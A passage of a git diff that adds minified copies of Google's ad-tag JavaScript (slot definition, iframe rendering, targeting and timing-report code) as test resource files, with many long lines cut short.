+var $c=function(a,b){var c=document,d=b.getSizes();if(0!=d.length){var e=d[0];if(1<d.length){a:if(d=H(b),(d=(c||document).getElementById(d))&&d.style.height&&d.style.width){d=[d.style.width,d.style.height];for(e=0;e<d.length;++e)if(2<d[e].length&&"px"==d[e].substring(d[e].length-2))d[e]=parseInt(d[e],10);else{e=q;break a}e=d}else e=q;e||(e=[q,q])}Xc(a,c,b,r,a.da,e[0],e[1])}};s=V.prototype;s.eb=function(a){a&&(this.wa=p);0<this.A.length&&(this.A.shift(),0<this.A.length&&Yc(this,this.A[0]))};
+s.fillSlot=function(a,b){this.g?(this.a.i.push(a),$c(this,a),this.j[G(a)]!=q&&this.z(a),1==this.a.i.length&&this.Fa(a,b)):this.Ga(a,b)};s.z=function(a){try{this.Sa(window,document,a)}catch(b){}};
+s.Sa=function(a,b,c){var d=this.j[G(c)];qb(c);if(d==q||d._empty_)this.ga(a,b,c),K(this.a,c);else if(this.sa)K(this.a,c);else{a=b.getElementById(Zc(c,r));var e=d._width_,f=d._height_;e&&d._is_afc_&&(e=Nc(this,e,f));a.width=e;a.height=f;e=d._html_;f=a.parentNode;if(e==q)f.removeChild(a);else{f=H(c);if(f=mb(f))f.style.display="";Jc(a,e,d._is_3pas_);K(this.a,c);Wc(this,a,G(c))}}c=Zc(c,p);0==cc()?(Q||(Q=q),Q.Eb("iFrame not removed as non-IE browser, id: "+c)):(b=b.getElementById(c))?"hidden"! [...]
+"none"!=b.style.display?R("iFrame found to remove but it isn't hidden, id: "+c):(b.parentNode.removeChild(b),Q||(Q=q),Q.Eb("Hidden iFrame removed, id: "+c)):R("iFrame not found to remove, id: "+c)};s.$=function(){U.prototype.$.call(this);Vc(this)};s.wb=function(){return isNaN(this.Ca)||this.g?0==this.a.ha():this.a.ha()==mc(this.a)-this.Ca};var ad=RegExp("^(?:([^:/?#.]+):)?(?://(?:([^/?#]*)@)?([^/#?]*?)(?::([0-9]+))?(?=[/#?]|$))?([^?#]+)?(?:\\?([^#]*))?(?:#(.*))?$"),bd=Xa,cd=function(a){i [...]
+var dd=function(a,b,c){b=a.W(b);if(a.g)c=a.a.i,1==c.length&&a.z(c[0]);else for(var d=0;d<b.length;++d)a.z(b[d],c)};W.prototype.Fa=function(){if(!this.R){var a=this.n(),a=$b(a);Gc(a);Mc(this)}};W.prototype.fillSlot=function(a){this.a.i.push(a);var b=this.a.i.length;ic(this.l,"_ga_start",b);this.g?1==b?this.Fa():this.z(a):this.Ga(a)};W.prototype.z=function(a,b){this.Sa(window,document,a,b)};
+W.prototype.Sa=function(a,b,c,d){var e=this.j[G(c)];qb(c);if(e==q||e._empty_)this.ga(a,b,c),K(this.a,c);else if(this.sa)K(this.a,c);else if(e._snippet_&&!e._is_afc_)ed(c,b),e=this.j[G(c)],e!=q&&(e=fd(this,c,b,e),K(this.a,c),(e=b.getElementById(e))&&Wc(this,e,G(c)));else if(a=Sa(),a!=q&&-1!=a.indexOf("MSIE ")&&-1==a.indexOf("IEMobile")){b=this.yb+"(this, '"+G(c)+"',"+d+");";d="about:blank";if(a=this.u.c("google_domain_reset_url")){var f=cd(a);if(f===q||0<=f.indexOf(document.domain))d=a}va [...]
+e=e._height_;ed(c,document);a=ob(c);f=[];g=$b(g);f.push('<iframe id="',a,'" name="',a,'" width="',d,'" height="',e,'" vspace="0" hspace="0" allowtransparency="true" ',"scrolling=",this.capture?'"auto"':'"no"',' marginwidth="0" marginheight="0" frameborder="0" style=','"border:0px;left:0;position:absolute;top:0;"',' src="',g,'"');b!=q&&f.push(' onload="',b,'"');f.push("></iframe>");b=[];g=H(c)+"_ad_container";b.push("<div id=",g,">");b.push('<ins style="position:relative;width:'+d+"px;hei [...]
+('<ins style="position:relative;width:'+d+"px;height:"+e+'px;border:none;display:block;">'+f.join("")+"</ins>")+"</ins>");b.push("</div>");document.write(b.join(""));(e=document.getElementById(a))&&Wc(this,e,G(c))}else ed(c,document),e=fd(this,c,document),b.write("<script>"+this.zb+'("'+e+'" ,"'+G(c)+'",'+this.da+","+d+");<\/script>")};
+var fd=function(a,b,c,d){b=H(b)+"_ad_container";var e="<div id="+b;a.da&&d?(e+=' style="width:'+d._width_,e+='px;margin:auto;">'):e+=">";d&&(e+=d._html_);c.write(e+"\n</div>\n");return b},ed=function(a,b){var c=b.getElementById(H(a));c&&(c.parentNode&&""===c.innerHTML)&&c.parentNode.removeChild(c)};W.prototype.$=function(){U.prototype.$.call(this);Vc(this)};var gd=function(){this.l=this.m=this.k=this.v=this.a=q},hd,id,X=function(a){a.a||(a.a=new kc(Sb));return a.a},Z=function(a){if(a.v!= [...]
+q;b.ta=b.u.c("google_disable_initial_load")!=q||window.google_DisableInitialLoad;var c=ia(b.$,b),d=window;d.attachEvent?d.attachEvent("onload",c):d.addEventListener&&d.addEventListener("load",c,r);c=!(1E-4>Math.random())&&Math.random()<Kb;b.t=uc().setupOse(b.getCorrelator());!c&&!window.google_enable_ose&&(b.t=0);return a.v},Y=function(a){a.m==q&&(a.m=new jc);return a.m},jd=function(a){window._GA_googleCookieHelper==q&&(window._GA_googleCookieHelper=new xc);a.k==q&&(a.k=window._GA_google [...]
+return a.k},kd=function(a){a.l==q&&(a.l=ma&&Math.random()<Lb&&ma.GA_jstiming&&ma.GA_jstiming.load&&"http:"==ma.location.protocol?new gc(ma):new hc);return a.l},$=function(){hd||(hd=new gd);return hd},ld=function(){id||(id=new gd);return id};w("googletag.impl.pubads.addSlot",function(a){if(!a)return q;var b=a.getName();return!b||!b.length?q:lc(X($()),a)});
+w("googletag.impl.pubads.fillSlot",function(a){var b=$(),c=Z(b),b=X(b);if((a=nc(b,a))&&(c.j[G(a)]==q||c.g)){var d,e=c.fa(c.g);if("s"==e){d=q;var f=la.getElementsByTagName("script");f&&f.length&&(d=f[f.length-1].parentNode)}else d=document.getElementById(H(a));d&&!c.g&&(b.Va[G(a)]=d);if(b=-1==e.indexOf("fif"))e="google_temp_div_"+G(a),document.write("<div id="+e+"></div>"),(e=mb(e))&&(c.a.O[G(a)]=e);c.fillSlot(a);if(b&&(c=c.a,a=G(a),b=c.O[a]))b&&b.parentNode&&b.parentNode.removeChild(b),d [...]
+w("googletag.impl.pubads.passback",function(a){if(a){var b=a.getName();b&&b.length&&(b=ld(),a=lc(X(b),a),b=Z(b),b.Ra=p,b.fillSlot(a))}});w("googletag.impl.pubads.disableFetch",function(){window.google_noFetch=p});w("googletag.impl.pubads.disableInitialLoad",function(){window.google_DisableInitialLoad=p});w("googletag.impl.pubads.addAttribute",function(a,b){var c=X($()),d=b;if(!(a==q||0==a.length)){if(!d||0==d.length)d="";var e=c.s[a];c.s[a]=e?e+","+d:d}});
+w("googletag.impl.pubads.addAdSensePageAttribute",function(a,b){var c=X($());fc(c.M,a,b)});w("googletag.impl.pubads.addAdSenseSlotAttribute",function(a,b,c){var d=X($());if(a&&(a=nc(d,a)))a=G(a),d.N[a]==q&&(d.N[a]=new ec(d.Db)),fc(d.N[a],b,c)});w("googletag.impl.pubads.addSlotTargeting",function(a,b,c){var d=X($());a&&(a=nc(d,a))&&a.setTargeting(b,c)});w("googletag.impl.pubads.clearSlotTargeting",function(a){var b=X($());a&&(a=nc(b,a))&&a.clearTargeting()});
+w("googletag.impl.pubads.createDomIframe",function(a,b,c,d){var e;e=d?ld():$();d=Z(e);if(e=X(e).f[b]){var f=document,g=d.j[G(e)],h=g._width_,l=g._height_;g._is_afc_&&(h=Nc(d,h,l));var g=g._html_,n=f.createElement("iframe"),k=ob(e);n.id=k;n.name=k;n.width=h;n.height=l;n.vspace=0;n.hspace=0;n.allowTransparency="true";n.scrolling="no";n.marginWidth=0;n.marginHeight=0;n.frameBorder=0;n.style.border=0;n.style.position="absolute";n.style.top=0;n.style.left=0;k=Oc(f,"ins",n,h,l,"block");l=Oc(f, [...]
+l,"inline-table");a=f.getElementById(a);c?(c=Oc(f,"div",l,h,q,"block","auto"),a.appendChild(c)):a.appendChild(l);n.contentWindow.document.write(g);n.contentWindow.document.write("<script>document.close();<\/script>");K(d.a,e);(c=document.getElementById(ob(e)))&&Wc(d,c,b)}});w("googletag.impl.pubads.setAdContentsBySlot",function(a){Z($()).W(a)});w("googletag.impl.pubads.setAdContentsBySlotForSync",function(a){dd(Z($()),a)});w("googletag.impl.pubads.setPassbackAdContents",function(a){dd(Z( [...]
+w("googletag.impl.pubads.setAdContentsBySlotForAsync",function(a,b){var c=Z($()),d=c.W(a,b,c.P);if(c.g)for(var d=c.a.i,e=0;e<d.length;e++)c.z(d[e]);else{for(var f=c.A[0],g=r,e=0;e<d.length;++e)c.z(d[e]),d[e]===f&&(g=p);g&&(clearTimeout(c.cb[G(f)]),c.eb())}});
+w("googletag.impl.pubads.syncAdSlotLoaded",function(a,b,c){c=Z(c?ld():$());if(b&&(b=c.a.f[b])&&!b.ca){b.ca=p;var d=c.j[G(b)],e=a.parentNode,f=d&&d._html_;f?d[Kc.Ab]&&(!d[Kc.Cb]||!d[Kc.Bb])?e.innerHTML=f:Jc(a,f,d._is_3pas_):e.removeChild(a);K(c.a,b)}});w("googletag.impl.pubads.enableSingleRequest",function(){var a=Y($());a.c("google_ad_impl")==q&&a.setParameter("google_ad_impl","gut_sync_sra")});
+w("googletag.impl.pubads.collapseEmptyDivs",function(){Y($()).setParameter("google_collapse_empty_div","true")});w("googletag.impl.pubads.enableAsyncRendering",function(){var a=Y($());a.c("google_ad_impl")==q&&a.setParameter("google_ad_impl","gut_friendly_iframe")});w("googletag.impl.pubads.enableAsyncSingleRequest",function(){var a=Y($());a.c("google_ad_impl")==q&&a.setParameter("google_ad_impl","gut_friendly_iframe_sra")});
+w("googletag.impl.pubads.setVideoContentInformation",function(a,b){var c=Z($());c.T=p;c.H=a;c.G=b;c.r=Math.floor(4503599627370496*Math.random())});w("googletag.impl.pubads.getVideoContentInformation",function(){var a=Z($()),b={};b.vid=a.H;b.cmsid=a.G;return b});w("googletag.impl.pubads.getVideoStreamCorrelator",function(){return Z($()).getVideoStreamCorrelator()});
+w("googletag.impl.pubads.refresh",function(a,b,c,d,e,f,g,h){var l=$(),n=Z(l),l=X(l),k=q;if(a)for(var k=[],m=0;m<a.length;++m){var u=nc(l,a[m]);u&&k.push(u)}n.refresh(k,b,c,d,e,f,g,h)});w("googletag.impl.pubads.getCorrelator",function(){return Z($()).getCorrelator()+""});w("googletag.impl.pubads.setMobilePlatform",function(){Y($()).setParameter("target_platform","MOBILE")});w("googletag.impl.pubads.setApiExperiment",function(a){Ec(a)});w("googletag.impl.pubads.isAdRequestFinished",functio [...]
+w("googletag.impl.pubads.isSlotAPersistentRoadblock",function(a){if(!a)return r;var b=X($());return!!(new F(a)in b.w)});w("googletag.impl.pubads.clearNoRefreshState",function(){X($()).w={}});w("googletag.impl.pubads.clearSlotContents",function(){return Z($()).vb()});w("googletag.impl.pubads.setLocation",function(a){X($()).na=a});w("googletag.impl.pubads.setPublisherProvidedId",function(a){X($()).oa=a});w("googletag.impl.pubads.getVersion",function(){return"14"});
+w("googletag.impl.pubads.setCenterAds",function(a){X($()).pa=a});var md=$();Y(md).debug();kd(md).Y("jl");window.google_noFetch=r;window.google_DisableInitialLoad=r;try{var nd=t.googletag.pubads;if(v(nd))nd().onGoogleAdsJsLoad()}catch(pd){};})();
diff --git a/src/test/resources/s/Filer_for_fark/gpt.js b/src/test/resources/s/Filer_for_fark/gpt.js
new file mode 100644
index 0000000..ec7b094
--- /dev/null
+++ b/src/test/resources/s/Filer_for_fark/gpt.js
@@ -0,0 +1,68 @@
+(function(){var e=void 0,g=!0,h=null,j=!1,k,m=this,aa=function(a){var b=typeof a;if("object"==b)if(a){if(a instanceof Array)return"array";if(a instanceof Object)return b;var c=Object.prototype.toString.call(a);if("[object Window]"==c)return"object";if("[object Array]"==c||"number"==typeof a.length&&"undefined"!=typeof a.splice&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("splice"))return"array";if("[object Function]"==c||"undefined"!=typeof a.call&&"undefined"!=ty [...]
+!a.propertyIsEnumerable("call"))return"function"}else return"null";else if("function"==b&&"undefined"==typeof a.call)return"object";return b},n=function(a){return"array"==aa(a)},ba=function(a){var b=aa(a);return"array"==b||"object"==b&&"number"==typeof a.length},q=function(a){return"string"==typeof a},r=function(a){return"number"==typeof a},s=function(a){return"function"==aa(a)},ca="closure_uid_"+Math.floor(2147483648*Math.random()).toString(36),da=0,ea=function(a,b,c){return a.call.appl [...]
+arguments)},fa=function(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var c=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(c,d);return a.apply(b,c)}}return function(){return a.apply(b,arguments)}},ga=function(a,b,c){ga=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?ea:fa;return ga.apply(h,arguments)},t=function(a,b){function c(){}c.prototype=b.prototype;a.Eb=b. [...]
+a.prototype=new c};var w=function(){return m.googletag||(m.googletag={})},x=function(a,b,c){var d=w();if(!(a in d)||c)d[a]=b},ha=function(a,b){a.attachEvent?a.attachEvent("onload",b):a.addEventListener&&a.addEventListener("load",b,j)};var z=function(a,b,c,d,f){this.da=new Date;this.p=d||h;this.ca=c||h;this.Ca=a;this.Da=b;this.ba=f||h};k=z.prototype;k.Na=function(){return this.p};k.Ma=function(){return this.ca};k.La=function(){return this.Ca};k.Ha=function(){return this.da};k.lb=function( [...]
+z.prototype.toString=function(){var a=this.da.toTimeString()+": "+ia[this.Ca]+": "+this.Da;this.ba&&(a+=" Duration: "+(this.da.getTime()-this.ba.Ha().getTime())+"ms.");return a};z.prototype.getTimestamp=z.prototype.Ha;z.prototype.getService=z.prototype.Ma;z.prototype.getSlot=z.prototype.Na;z.prototype.getLevel=z.prototype.La;z.prototype.getMessage=z.prototype.lb;z.prototype.getReference=z.prototype.nb;var B=function(){this.F=[]};B.prototype.eb=function(){return this.F};B.prototype.ib=fun [...]
+B.prototype.info=function(a,b,c,d){return this.log(1,a,b,c,d)};var C=function(a,b,c,d){a.log(2,b,c,d,e)};B.prototype.error=function(a,b,c,d){return this.log(3,a,b,c,d)};var E=function(){var a=w();return a.debug_log||(a.debug_log=new B)};x("getEventLog",E);B.prototype.getAllEvents=B.prototype.eb;B.prototype.getEventsByService=B.prototype.ib;B.prototype.getEventsBySlot=B.prototype.jb;B.prototype.getEventsByLevel=B.prototype.hb;var F=function(){this.Ia=this.ia=0};F.prototype.push=function(a [...]
+try{var I=h;window.chrome&&window.chrome.csi&&(I=Math.floor(window.chrome.csi().pageT),G&&0<H&&(G.tick("_tbnd",e,window.chrome.csi().startE),G.tick("tbnd_","_tbnd",H)));I==h&&window.gtbExternal&&(I=window.gtbExternal.pageT());I==h&&window.external&&(I=window.external.pageT,G&&0<H&&(G.tick("_tbnd",e,window.external.startE),G.tick("tbnd_","_tbnd",H)));I&&(window.GPT_jstiming.pt=I)}catch(oa){};if(window.GPT_jstiming){window.GPT_jstiming.Ka={};window.GPT_jstiming.Ua=1;var pa=function(a,b,c){ [...]
+window.chrome;if(l&&(l=l.loadTimes)){l().wasFetchedViaSpdy&&(d+="&p=s");if(l().wasNpnNegotiated){var d=d+"&npn=1",p=l().npnNegotiatedProtocol;p&&(d+="&npnv="+(encodeURIComponent||escape)(p))}l().wasAlternateProtocolAvailable&&(d+="&apa=1")}var y=a.t,A=y.start,l=[],p=[],u;for(u in y)if("start"!=u&&0!=u.indexOf("_")){var v=y[u][1];v?y[v]&&p.push(u+"."+pa(a,u,y[v][0])):A&&l.push(u+"."+pa(a,u))}delete y.start;if(b)for(var D in b)d+="&"+D+"="+b[D];(b=c)||(b="https:"==document.location.protoco [...]
+"http://csi.gstatic.com/csi");a=[b,"?v=3","&s="+(window.GPT_jstiming.sn||"gpt")+"&action=",a.name,p.length?"&it="+p.join(","):"","",d,"&rt=",l.join(",")].join("");if(!a)return"";var d=new Image,Aa=window.GPT_jstiming.Ua++;window.GPT_jstiming.Ka[Aa]=d;d.onload=d.onerror=function(){window.GPT_jstiming&&delete window.GPT_jstiming.Ka[Aa]};d.src=a;d=h;return a};window.GPT_jstiming.report=function(a,b,c){if("prerender"==document.webkitVisibilityState){var d=j,f=function(){if(!d){b?b.prerender= [...]
+var l;"prerender"==document.webkitVisibilityState?l=j:(qa(a,b,c),l=g);l&&(d=g,document.removeEventListener("webkitvisibilitychange",f,j))}};document.addEventListener("webkitvisibilitychange",f,j);return""}return qa(a,b,c)}};var J,ra,K,sa,ta=function(){return m.navigator?m.navigator.userAgent:h};sa=K=ra=J=j;var ua;if(ua=ta()){var va=m.navigator;J=0==ua.indexOf("Opera");ra=!J&&-1!=ua.indexOf("MSIE");K=!J&&-1!=ua.indexOf("WebKit");sa=!J&&!K&&"Gecko"==va.product}var wa=J,L=ra,xa=sa,ya=K,za=f [...]
+a:{var Ca="",M;if(wa&&m.opera)var Da=m.opera.version,Ca="function"==typeof Da?Da():Da;else if(xa?M=/rv\:([^\);]+)(\)|;)/:L?M=/MSIE\s+([^\);]+)(\)|;)/:ya&&(M=/WebKit\/(\S+)/),M)var Ea=M.exec(ta()),Ca=Ea?Ea[1]:"";if(L){var Fa=za();if(Fa>parseFloat(Ca)){Ba=String(Fa);break a}}Ba=Ca}
+var Ga=Ba,Ha={},Ia=function(a){if(!Ha[a]){for(var b=0,c=String(Ga).replace(/^[\s\xa0]+|[\s\xa0]+$/g,"").split("."),d=String(a).replace(/^[\s\xa0]+|[\s\xa0]+$/g,"").split("."),f=Math.max(c.length,d.length),l=0;0==b&&l<f;l++){var p=c[l]||"",y=d[l]||"",A=RegExp("(\\d*)(\\D*)","g"),u=RegExp("(\\d*)(\\D*)","g");do{var v=A.exec(p)||["","",""],D=u.exec(y)||["","",""];if(0==v[0].length&&0==D[0].length)break;b=((0==v[1].length?0:parseInt(v[1],10))<(0==D[1].length?0:parseInt(D[1],10))?-1:(0==v[1]. [...]
+parseInt(v[1],10))>(0==D[1].length?0:parseInt(D[1],10))?1:0)||((0==v[2].length)<(0==D[2].length)?-1:(0==v[2].length)>(0==D[2].length)?1:0)||(v[2]<D[2]?-1:v[2]>D[2]?1:0)}while(0==b)}Ha[a]=0<=b}},Ja=m.document,Ka=!Ja||!L?e:za()||("CSS1Compat"==Ja.compatMode?parseInt(Ga,10):5);if(xa||L){var La;if(La=L)La=L&&9<=Ka;La||xa&&Ia("1.9.1")}L&&Ia("9");var N=function(a,b){this.Wa=a;this.Va=b};N.prototype.sb=function(){return this.Wa};N.prototype.kb=function(){return this.Va};N.prototype.getWidth=N.p [...]
+k.set=function(a,b){var c=[" attribute ",a," with value ",b," for slot ",this.getName()].join("");a&&q(a)&&b?(this.h[a]=b,this.J||this.v?C(this.b,"Setting"+c+" after its contents have been loaded",h,this):this.b.info("Setting"+c,h,this)):C(this.b,"Unable to set"+c,h,this);return this};k.get=function(a){return a in this.h?this.h[a]:h};k.A=function(){var a=[],b;for(b in this.h)s(this.h[b])||a.push(b);return a};
+k.aa=function(a){for(var b=0;b<this.c.length;++b)if(a==this.c[b])return C(this.b,"Service "+a.getName()+" is already associated with slot "+this.g,a,this),this;this.c.push(a);a.Y(this);return this};k.getName=function(){return this.w};k.i=function(){return this.g};k.ob=function(){return this.c};k.pb=function(){return this.Pa};k.z=function(){return!!document.getElementById(this.g.l())};k.O=function(a){this.m=a};k.D=function(a){this.ra=a;return this};k.U=function(){return this.ra};
+k.r=function(a,b){var c=[];n(b)?c=b:b&&c.push(b.toString());var d=[" targeting attribute ",a," with value ",c.join()," for slot ",this.getName()].join("");if(a&&q(a)){this.b.info("Setting"+d,h,this);a:{var d=this.d[a],f=c;if(!ba(d)||!ba(f)||d.length!=f.length)d=j;else{for(var l=d.length,p=0;p<l;p++)if(d[p]!==f[p]){d=j;break a}d=g}}this.d[a]=c;if(!d&&(this.J||this.v))for(d=0;d<this.c.length;++d)f=this.c[d],f.isEnabled()&&f.ta(this,a,c)}else C(this.b,"Unable to set"+d,h,this);return this};
+k.Xa=function(){this.b.info("Clearing slot targeting.",h,this);var a;a:{for(a in this.d){a=j;break a}a=g}this.d={};if(!a)for(a=0;a<this.c.length;++a){var b=this.c[a];b.isEnabled()&&b.clearSlotTargeting(this)}return this};k.qb=function(){var a=this.d,b={},c;for(c in a)b[c]=a[c];return b};k.mb=function(){return this.sa};
+var Oa=function(a){if(!a.z())return a.b.error("Unable to write to slot "+a.g+". It has not yet been rendered.",h,a),j;var b=m.document,c=a.g.l(),b=b&&b.getElementById(c);if(!b)return a.b.error("Unable to find the div container with id "+c+" for slot "+a.g,h,a),j;c=a.m;return q(c)&&0<c.length?(a.xa(),b.innerHTML=c,a.wa(),g):j};k=P.prototype;k.cb=function(a){this.J=this.b.info("Fetching ad for slot "+this.getName(),h,this);this.qa=a};k.fb=function(){return this.qa};
+k.bb=function(){this.b.info("Receiving ad for slot "+this.getName(),h,this,this.J)};k.xa=function(){this.v=this.b.info("Rendering ad for slot "+this.getName(),h,this)};k.wa=function(){this.b.info("Completed rendering ad for slot "+this.getName(),h,this,this.v)};P.prototype.set=P.prototype.set;P.prototype.get=P.prototype.get;P.prototype.getName=P.prototype.getName;P.prototype.getSlotId=P.prototype.i;P.prototype.getSizes=P.prototype.pb;P.prototype.addService=P.prototype.aa;
+P.prototype.getOutOfPage=P.prototype.mb;P.prototype.getServices=P.prototype.ob;P.prototype.getAttributeKeys=P.prototype.A;P.prototype.fetchStarted=P.prototype.cb;P.prototype.fetchEnded=P.prototype.bb;P.prototype.renderStarted=P.prototype.xa;P.prototype.renderEnded=P.prototype.wa;P.prototype.hasWrapperDiv=P.prototype.z;P.prototype.getContentUrl=P.prototype.fb;P.prototype.setClickUrl=P.prototype.D;P.prototype.getClickUrl=P.prototype.U;P.prototype.clearTargeting=P.prototype.Xa;
+P.prototype.getTargetingMap=P.prototype.qb;P.prototype.setTargeting=P.prototype.r;var Q=function(){this.C={};this.K={};this.b=E()};Q.prototype.add=function(a,b,c){if(!q(a)||0>=a.length||!b)return h;a in this.C||(this.C[a]=[]);b=new P(a,this.C[a].length,b,c);c=b.i().l();if(this.K[c])return this.b.error("Div element "+c+" is already associated with another slot"),h;this.C[a].push(b);return this.K[b.i().l()]=b};Q.prototype.find=function(a,b){var c=b||0,d=q(a)&&this.C[a]||[];return 0<=c&&c<d [...]
+var Pa=function(){var a=w();return a.slot_manager_instance||(a.slot_manager_instance=new Q)},Qa=function(a,b,c){var d=Pa();return d&&d.add(a,b,c)};x("defineOutOfPageSlot",function(a,b){var c=Pa();return!c?h:(c=c.add(a,[1,1],b))?(c.sa=g,c):h});x("defineSlot",Qa);x("defineUnit",Qa);Q.prototype.find=Q.prototype.find;Q.getInstance=Pa;var Ra=function(a){var b=E();if(q(a)){var c;c=Pa();c.K[a]?c=c.K[a]:(C(c.b,"Ad unit lookup for div "+a+" failed."),c=h);if(c)if(a=c,a.P&&!a.z())C(a.b,"Slot "+a.w [...]
+k.A=function(){var a=[],b;for(b in this.h)"function"!=typeof this.h[b]&&a.push(b);return a};k.k=function(){return this.Aa};k.Ja=function(){return this.Ba};k.isEnabled=function(){return this.ea};k.enable=function(){if(this.ea)this.log.info("Service is already enabled.",this);else{this.ea=g;try{this.ha()}catch(a){this.log.error("Failed to enable service: "+a,this)}}};k.display=function(a,b,c,d){this.enable();a=c?Qa(a,b,c):Qa(a,b);a.aa(this);d&&a.D(d);Ra(a.i().l())};
+k.Y=function(a){this.Aa.push(a);this.Ba[a.i().o()]=a;this.log.info("Associated "+this.getName()+" service with slot "+a.getName(),this,a)};k.clearSlotTargeting=function(){};k.ta=function(){};R.prototype.getSlots=R.prototype.k;R.prototype.getSlotIdMap=R.prototype.Ja;R.prototype.enable=R.prototype.enable;R.prototype.set=R.prototype.set;R.prototype.get=R.prototype.get;R.prototype.getAttributeKeys=R.prototype.A;R.prototype.display=R.prototype.display;var Sa=function(a,b){this.name=a;this.ga= [...]
+var S=function(a){this.name=a};t(S,Sa);S.prototype.tick=function(){};S.prototype.Fa=function(){};S.prototype.report=function(){return h};S.prototype.Oa=function(){};if(!w()._gpt_timer_&&m.GPT_jstiming){var T,Ta=m.GPT_jstiming.load,Ua=0.01;Ua==e&&(Ua=0.01);T=m.GPT_jstiming&&m.GPT_jstiming.load&&("http:"==m.location.protocol||"https:"==m.location.protocol)&&Math.random()<Ua?new Sa("global",Ta):new S("global");T.Oa(function(){T.tick("load");T.report()});x("_gpt_timer_",T)}w();var U=function [...]
+x("enableServices",function(){var a=V(),b;for(b in a.c){var c=a.c[b];if(!s(c)){c.enable();var c=b,d=w()._gpt_timer_;d&&d.Fa(c)}}});var W=function(){R.call(this);this.ua=g;this.$=j;this.M=0;this.N="";this.X=this.W=this.V=this.B=e;this.va=this.Z=j;this.T={};this.L=j};t(W,R);k=W.prototype;
+k.ha=function(){if(this.ua){if(!this.va){var a=document,b=document.createElement("script");b.async=g;b.type="text/javascript";b.src=this.n();try{var c=a.getElementsByTagName("script")[0];this.log.info("Fetching companion ads implementation",this);this.va=g;c.parentNode&&c.parentNode.insertBefore(b,c)}catch(d){this.log.error("Unable to fetch companion ads implementation",this)}}}else this.Z||(m.document.write('<script type="text/javascript" src="'+Ma(this.n())+'"><\/script>'),this.Z=g)};
+k.Za=function(){this.ua=j};k.zb=function(a){"boolean"==typeof a&&(this.$=a)};k.ub=function(a){if(this.$){for(var b=this.Ja(),c=[],d=0;d<a.length;++d){var f=a[d];f in b?c.push(b[f]):C(this.log,"Cannot find slot with id "+f+".",this)}Va(this,c)}};k.ya=function(){var a=googletag.pubads();if(!a.isEnabled())return j;var a=a.k(),b=this.k();if(a.length!=b.length)return j;for(var c=0;c<b.length;++c){for(var d=j,f=0;f<a.length;++f)if(b[c]===a[f]){d=g;break}if(!d)return j}return g};
+k.xb=function(){this.$&&Va(this,h)};
+k.Bb=function(a,b,c,d,f,l,p){this.L=j;this.M=0;this.N="";this.X=this.W=this.V=this.B=e;this.M=a;this.N=b;this.B=c;0==this.B.length&&(this.B=e);a:{a=d.split(",");b=[];for(c=0;c<a.length;++c){d=a[c].split("x");if(2!=d.length){this.log.error("The master ad size specified is invalid.");a=e;break a}d=[Number(d[0]),Number(d[1])];if(isNaN(d[0])||isNaN(d[1])){this.log.error("The master ad size specified is invalid.");a=e;break a}b.push(d)}a=b}this.V=a;f!==e&&(this.W=f);l!==e&&(this.X=l);p!==e&&( [...]
+k.gb=function(){return googletag.pubads().getCorrelator()};k.getVideoStreamCorrelator=function(){return googletag.pubads().getVideoStreamCorrelator()};k.Cb=function(a){this.M=a};k.Db=function(a){this.N=a};
+var Va=function(a,b){var c=googletag.pubads();if(c.isEnabled()){if(a.L){if(!a.ya()){C(a.log,"Persistent roadblock requested, but ad slots are incorrectly configured. All ad slots on page must have both pubads and companionAds services attached. Skipping refresh.");return}c.clearNoRefreshState();c.clear()}c.za(b,a.M,a.N,a.B,a.V,a.W,a.X,a.L)}else a.log.error("Pubads service is not enabled, cannot use refresh feature.")};k=W.prototype;
+k.isSlotAPersistentRoadblock=function(a){var b=googletag.pubads();if(b.isEnabled())return b.isSlotAPersistentRoadblock(a);this.log.error("Pubads service is not enabled, cannot check whether slot is a persistent roadblock. Content writing allowed.");return j};k.getName=function(){return"companion_ads"};k.n=function(){var a=document,b=h;try{b=a.location.protocol}catch(c){}return("https:"==b?"https:":"http:")+"//pagead2.googlesyndication.com/pagead/show_companion_ad.js"};
+k.wb=function(){this.log.info("Companion ads implementation fetched.",this);this.Z=g};k.q=function(a){var b=a&&a.i().o();return b&&b in this.T&&a.z()&&this.isEnabled()&&!this.isSlotAPersistentRoadblock(a)?(a.O(this.T[b]),Oa(a)):j};k.G=function(a){this.q(a)};k.fillSlot=function(a,b){return a&&q(b)&&0<b.length?(this.T[a.i().toString()]=b,this.q(a)):j};x("companionAds",function(){var a=V(),b=a.find("companion_ads");b||(b=new W,a.add(b));return b});W.prototype.fillSlot=W.prototype.fillSlot;
+W.prototype.enableSyncLoading=W.prototype.Za;W.prototype.isSlotAPersistentRoadblock=W.prototype.isSlotAPersistentRoadblock;W.prototype.isRoadblockingSupported=W.prototype.ya;W.prototype.onImplementationLoaded=W.prototype.wb;W.prototype.notifyUnfilledSlots=W.prototype.ub;W.prototype.refreshAllSlots=W.prototype.xb;W.prototype.setRefreshUnfilledSlots=W.prototype.zb;W.prototype.setXfpCorrelator=W.prototype.Cb;W.prototype.setXfpPreviousAdsToken=W.prototype.Db;W.prototype.setVideoSessionInfo=W [...]
+W.prototype.getDisplayAdsCorrelator=W.prototype.gb;W.prototype.getVideoStreamCorrelator=W.prototype.getVideoStreamCorrelator;var X=function(){R.call(this);this.m={}};t(X,R);k=X.prototype;k.getName=function(){return"content"};k.q=function(a){var b=a&&a.i().o();return b in this.m&&this.isEnabled()&&a.z()&&!a.v?(a.O(this.m[b]),Oa(a)):j};k.ha=function(){for(var a=this.k(),b=0;b<a.length;++b)this.q(a[b])};k.G=function(a){this.q(a)};k.O=function(a,b){a&&(q(b)&&0<b.length)&&(this.m[a.i().o()]=b [...]
+var Za={adsense_ad_format:"google_ad_format",adsense_ad_types:"google_ad_type",adsense_allow_expandable_ads:"google_allow_expandable_ads",adsense_background_color:"google_color_bg",adsense_bid:"google_bid",adsense_border_color:"google_color_border",adsense_channel_ids:"google_ad_channel",adsense_content_section:"google_ad_section",adsense_cpm:"google_cpm",adsense_ed:"google_ed",adsense_encoding:"google_encoding",adsense_family_safe:"google_safe",adsense_feedback:"google_feedback",adsense [...]
